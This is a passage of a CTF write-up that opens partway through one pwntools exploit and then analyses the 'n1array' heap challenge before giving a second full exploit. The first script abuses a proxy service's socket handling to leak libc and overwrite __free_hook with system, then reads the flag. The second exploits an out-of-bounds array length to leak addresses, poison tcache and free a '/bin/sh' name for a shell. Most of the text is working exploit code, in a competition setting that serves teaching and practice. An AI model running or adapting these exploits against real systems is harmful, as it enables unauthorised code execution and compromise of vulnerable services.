        data_to_sign = len(self.client_key.n.to_bytes(512, 'big')).to_bytes(8, 'little') + \
                        self.client_key.n.to_bytes(512, 'big') + \
                        len(self.client_key.e.to_bytes(3, 'big')).to_bytes(8, 'little') + \
                        self.client_key.e.to_bytes(3, 'big')
        
        signature = self.sign(data_to_sign)

        packet = len(signature).to_bytes(8, 'little') + signature + data_to_sign
        self.r.send(packet)

    def get_session_key(self):
        """
        session_key_sign [ len(sign) (8 bytes) | sign (512 bytes) ]
        session_key [ len(enc_key) (8 bytes) | enc_key (128 key) | len(enc_time) (8 bytes) | enc_time (128 bytes) ]
        """
        session_key_sign_total = 520
        session_key_sign_buf = self.r.recv(session_key_sign_total)
        session_key_sign_length = u64(session_key_sign_buf[:8])
        session_key_sign = session_key_sign_buf[8:]

        session_key_total = 272
        session_key_buf = self.r.recv(session_key_total)
        enc_key_length = u64(session_key_buf[:8])
        enc_key = session_key_buf[8:136]
        enc_time_length = u64(session_key_buf[136:144])
        enc_time = session_key_buf[144:272]

        assert len(session_key_sign) == session_key_sign_length
        self.verify(session_key_buf, session_key_sign)

        assert len(enc_key) == enc_key_length
        assert len(enc_time) == enc_time_length

        log.info("enc_key_length: " + str(enc_key_length))
        log.info("enc_time_length: " + str(enc_time_length))

        session_key = self.rsa_decrypt(enc_key)
        time_stamp = self.rsa_decrypt(enc_time)
        time_stamp = int.from_bytes(time_stamp, 'big')

        assert len(session_key) == 48
        key = session_key[:32]
        iv = session_key[32:]
        assert len(key) == 32
        assert len(iv) == 16
        self.session_key = (key, iv)

    def recv_ok_msg(self):
        enc_data_len = 528
        enc_data = self.r.recv(enc_data_len)
        data = self.aes_decrypt(enc_data)
        assert len(data) == 524
        ok_msg = data[:4]
        sign_len = u64(data[4:12])
        sign = data[12:]
        assert len(sign) == sign_len
        assert len(sign) == 512
        self.verify(ok_msg, sign)
        log.success(f"recv ok msg : {ok_msg}")

    
    def send_pre_conn(self, proxy_type, proxy_status):
        data = p32(proxy_type) + p32(proxy_status)
        sig = self.sign(data)
        full = data + sig
        enc_data = self.aes_encrypt(full)

        self.r.send(enc_data)

    def proxy_listen(self, hostlen, host, port):
        self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Listen.value)
        self.recv_ok_msg()
        
        assert len(host) == hostlen
        
        hostlen = p32(hostlen)
        host = host.encode()
        port = p16(port)
        data = hostlen + host + port
        sig = self.sign(data)
        full = data + sig
        enc_data = self.aes_encrypt(full)
        
        self.r.send(enc_data)

        # server's listen thread will block because of waiting accept
        # recv conn fd
        recv_enc_data_len = 528
        recv_enc_data = self.r.recv(recv_enc_data_len)
        recv_data = self.aes_decrypt(recv_enc_data)
        assert len(recv_data) == 516
        sig = recv_data[4:]
        self.verify(recv_data[:4], sig)
        conn_fd = u32(recv_data[:4])

        log.success(f"recv listen fd: {conn_fd}")
        return conn_fd

    def proxy_conn(self, hostlen, host, port) -> int:
        self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Conn.value)
        self.recv_ok_msg()

        hostlen = p32(hostlen)
        host = host.encode()
        port = p16(port)
        data = hostlen + host + port
        sig = self.sign(data)
        full = data + sig
        enc_data = self.aes_encrypt(full)
        
        self.r.send(enc_data)

        # recv conn fd
        recv_enc_data_len = 528
        recv_enc_data = self.r.recv(recv_enc_data_len)
        recv_data = self.aes_decrypt(recv_enc_data)
        assert len(recv_data) == 516
        sig = recv_data[4:]
        self.verify(recv_data[:4], sig)
        conn_fd = u32(recv_data[:4])

        log.success(f"recv conn fd: {conn_fd}")
        return conn_fd
    
    def proxy_send(self, conn_fd, data_size_u64, data):
        self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Send.value)
        self.recv_ok_msg()

        assert len(data) == data_size_u64

        conn_fd = p32(conn_fd)
        data_size_u64 = p64(data_size_u64)
        data = conn_fd + data_size_u64 + data
        sig = self.sign(data)
        #full = data + sig
        #enc_data = self.aes_encrypt(full)
        #self.r.send(enc_data)
        self.r.send(self.aes_encrypt(data+sig[:-2]))
        self.r.send(self.aes_encrypt(sig[-2:]))

        # recv send result
        recv_enc_data_len = 528
        recv_enc_data = self.r.recv(recv_enc_data_len)
        recv_data = self.aes_decrypt(recv_enc_data)
        sig = recv_data[8:]
        self.verify(recv_data[:8], sig)
        send_res = u64(recv_data[:8])

        log.success(f"send_res: {send_res}")
        return send_res

    def proxy_recv(self, conn_fd, data_size_u64):
        self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Recv.value)
        self.recv_ok_msg()

        conn_fd = p32(conn_fd)
        data_size_u64 = p64(data_size_u64)
        data = conn_fd + data_size_u64
        sig = self.sign(data)
        self.r.send(self.aes_encrypt(data+sig))

        recv_enc_data = self.r.recv()
        recv_data = self.aes_decrypt(recv_enc_data)
        data_len = u64(recv_data[:8])
        data = recv_data[8:8+data_len]
        sig = recv_data[8+data_len:]
        self.verify(recv_data[:8+data_len], sig)
        log.success(f"recv_data: {data}")

        return data

    def handshake(self):
        self.send_client_hello()
        self.send_conn_type(0x0)
        self.get_server_pubkey()
        self.send_client_pubkey()
        self.get_session_key()

    def do_close(self):
        self.r.close()

fd_1 = -1
fd_2 = -1

def listen_task():
    global fd_1
    c = Client()
    c.handshake()
    fd = c.proxy_listen(0x8, "hostname", 1213)
    fd_1 = fd
    c.do_close()

def exp():
    global fd_1
    global fd_2

    libc = ELF("./lib/libc.so.6")

    threading.Thread(target=listen_task).start()
    time.sleep(2)

    c1 = Client()
    c1.handshake()
    fd_2 = c1.proxy_conn(0x8, "hostname", 1213)
    c1.do_close()

    print(f"fd_1: {fd_1}, fd_2: {fd_2}")

    c2 = Client()
    c2.handshake()
    c2.proxy_send(fd_2, 0x8, b"\x00"*0x8)
    c2.do_close()

# 0x5555556b4010
# 0x200 -> 0x7ffff758ac00
# 0x450 -> 0x7ffff758b290
# 0x410 -> 0x7ffff758b0b0 | 0x5555556cb660
    #pause()
    c3 = Client()
    c3.handshake()
    leak_data = c3.proxy_recv(fd_1, 0x200)

    tmp_leak = u64(leak_data[:0x8])
    libc_leak = u64(leak_data[0x8:0x10])
    libc_base = libc_leak - 0x3ebca0
    system = libc_base + libc.symbols['system']
    __free_hook = libc_base + libc.symbols['__free_hook']
    binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
    print("tmp_leak:", hex(tmp_leak))
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("__free_hook:", hex(__free_hook))
    print("binsh:", hex(binsh))
    c3.do_close()

    #pause()
    c4 = Client()
    c4.handshake()
    c4.proxy_send(fd_2, 0x18, p64(__free_hook-0x10)+p64(__free_hook-0x20)+p64(system))
    c4.do_close()
    c5 = Client()
    c5.handshake()
    read_data = c5.proxy_recv(fd_1, 0x50)
    print("read_data:", read_data)
    c5.do_close()

    c6 = Client()
    c6.handshake()
    cmd = b"cat /home/ctf/flag >&9\x00"
    c6.proxy_send(fd_2, len(cmd), cmd)
    c6.do_close()
    c7 = Client()
    c7.handshake()
    read_data = c7.proxy_recv(fd_1, 0x50)
    print("read_data:", read_data)
    c7.do_close() 

if __name__ == "__main__":
    exp()

n1array

0x00 题目分析

挺简单的,主要的工作量在于数据结构的逆向,但是居然能抢个一血...
  • 题目大体维护了一个hash表,每个表项对应一个array。每个array有一个 name 用于索引,有一个 type 数组和 value 数组。理论上这两个数组应该等长。
  • 用户在输入的时候,可以输入三种 Atom(name,type,value),顺序不限,次数不限,理论上后输入的会覆盖前输入的,每种 Atom 的结构如下:

    • value atom: | u32 len | u32 type | u32 is_def | u32 default_val | u32 nelts | u32 values * nelts |
      
      type atom : | u32 len | u32 type | u32 nelts | u8 type * nelts |
      
      name atom : | u32 len | u32 type | u32 name_len | char[name_len] name |
  • value 有两种模式,在输入的时候可以选择:

    • 正常数组,用户自己输入每一位的值;
    • default数组,用一个输入的位(记为 is_def)来标记,如果置位,则认为这个数组的所有值都是用户输入的 default 值。且用户无需在后面输入每一位的值,即这个输入占空间很短。
  • parse_value() 中,当先输入一个正常的 value 数组(记为value1),再输入一个 default 数组(记为value2),可以发现,array->value.buf 指向第一个输入的 value1_atom.buf ,但是 array->num 会被置为第二个输入的 value1_atom.nelts ,这就导致了越界读写的风险;

    • image-20231026171538942
    • image-20231026171612347
  • 那么题目就简单了,首先通过溢出读,利用 unsorted_bin 来泄露libc地址,然后是溢出写来劫持 tcache 控制 __free_hook。由于读写地址只能在不对齐的 4 字节中进行,所以需要额外处理一下。

0x01 EXP

from pwn import *

context.log_level = "debug"

#p = process(["./ld-2.31.so", "--preload", "./libc-2.31.so", "./pwn"])
p = remote("chall-6b73445766645053.sandbox.ctfpunk.com", 22258)
libc = ELF("./libc-2.31.so")
#p = process(["./pwn"])

def value_atom(nelts, value:list, is_def=False, def_val=0xdeadbeef):
    # len | type | is_def | def_val | nelts | value
    value_data = b"".join([p32(i) for i in value])
    tmp = p32(1) + p32(1 if is_def else 0) + p32(def_val) + p32(nelts) + value_data
    tmp = p32(4 + len(tmp)) + tmp
    return tmp

def type_atom(nelts, type:list):
    # len | type | nelts | type
    type_data = b"".join([p8(_t) for _t in type])
    tmp = p32(2) + p32(nelts) + type_data
    tmp = p32(4 + len(tmp)) + tmp
    return tmp

def name_atom(name:bytes):
    # len | type | name_len | name
    tmp = p32(3) + p32(len(name)) + name
    tmp = p32(4 + len(tmp)) + tmp
    return tmp

def input_data(atom_data:bytes):
    p.sendlineafter(b"cmd>>", b"0")
    p.recvuntil(b"input data of array atom>>")
    atom_data = p32(0) + atom_data
    p.send(p32(4 + len(atom_data)))
    p.send(atom_data)
    
def print_array(arr_name):
    p.sendlineafter(b"cmd>>", b"1")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)
    
def remove(arr_name):
    p.sendlineafter(b"cmd>>", b"2")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)

def edit_value(arr_name, idx, new_val):
    p.sendlineafter(b"cmd>>", b"3")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)
    p.recvuntil(b"Input Index: \n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Input New Val: \n")
    p.sendline(str(new_val).encode())
    
def edit_type(arr_name, idx, new_type):
    p.sendlineafter(b"cmd>>", b"4")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)
    p.recvuntil(b"Input Index: \n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Input New Type: \n")
    p.sendline(str(new_type).encode())
    
def add(arr_name, idx1, idx2):
    p.sendlineafter(b"cmd>>", b"5")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)
    p.recvuntil(b"Input Index1: \n")
    p.sendline(str(idx1).encode())
    p.recvuntil(b"Input Index1: \n")
    p.sendline(str(idx2).encode())

# 0x555555554000+0x5030
# 0x000055555555a2a0

def exp():
    #gdb.attach(p, "b *0x7ffff7fc3000+0x16A4\nc\n")
    paylaod = type_atom(256, [2]*256) + name_atom(b"AAAA\x00") + value_atom(1, [0xabcd]) + value_atom(256, [], True, 0xdeadbeef)
    input_data(paylaod)

    paylaod = type_atom(256, [2]*256) + name_atom(b"BBBB\x00") + value_atom(256, [0xaaaa]*256)
    input_data(paylaod)
    remove(b"BBBB")

    print_array(b"AAAA")

    p.recvuntil(b"array AAAA: ")
    arr_data = p.recvuntil(b"]")
    arr_data = arr_data.replace(b" ", b",").decode()
    arr = eval(arr_data)
    print("get arr: ", arr)
    #print(hex(arr[13]))
    #print(hex(arr[12]))
    #print(hex(arr[11]))
    heap_leak = ((arr[13] & 0xff) << 8*5) | (arr[12] << 8) | ((arr[11] & 0xff000000) >> 8*3)
    libc_leak = ((arr[47] & 0xff) << 8*5) | (arr[46] << 8) | ((arr[45] & 0xff000000) >> 8*3)
    print("heap_leak:", hex(heap_leak))
    print("libc_leak:", hex(libc_leak))
    libc_base = libc_leak - 0x1ecbe0
    system = libc_base + libc.sym["system"]
    free_hook = libc_base + libc.sym["__free_hook"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))

    paylaod = type_atom(1, [2]*1) + name_atom(b"CCCC\x00") + value_atom(1, [0xaaaa]*1)
    input_data(paylaod)
    paylaod = type_atom(1, [2]*1) + name_atom(b"DDDD\x00") + value_atom(1, [0xaaaa]*1)
    input_data(paylaod)
    remove(b"CCCC")
    remove(b"DDDD")

    print_array(b"AAAA")
    p.recvuntil(b"array AAAA: ")
    arr_data = p.recvuntil(b"]")
    arr_data = arr_data.replace(b" ", b",").decode()
    arr = eval(arr_data)
    print("get arr: ", arr)
    part1 = arr[105]
    part2 = arr[106]
    part3 = arr[107]
    print("part1:", hex(part1))
    print("part2:", hex(part2))
    print("part3:", hex(part3))
    tmp_hook = free_hook-8
    w_part1 = (part1 & 0x00ffffff) | ((tmp_hook & 0xff) << 8*3)
    w_part2 = (tmp_hook & 0x00ffffffff00) >> 8
    w_part3 = (part3 & 0xffffff00) | ((tmp_hook & 0xff0000000000) >> 8*5)
    print("w_part1:", hex(w_part1))
    print("w_part2:", hex(w_part2))
    print("w_part3:", hex(w_part3))
    edit_value(b"AAAA", 105, w_part1)
    edit_value(b"AAAA", 106, w_part2)
    edit_value(b"AAAA", 107, w_part3)

    paylaod = type_atom(1, [2]*1) + name_atom(b"/bin/sh;"+p64(system)) + value_atom(1, [0xaaaa]*1)
    input_data(paylaod)
    #paylaod = type_atom(1, [2]*1) + name_atom(p64(system)) + value_atom(1, [0xaaaa]*1)
    #input_data(paylaod)

    print("free_hook:", hex(free_hook))

    remove(b"/bin/sh;"+p64(system))

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()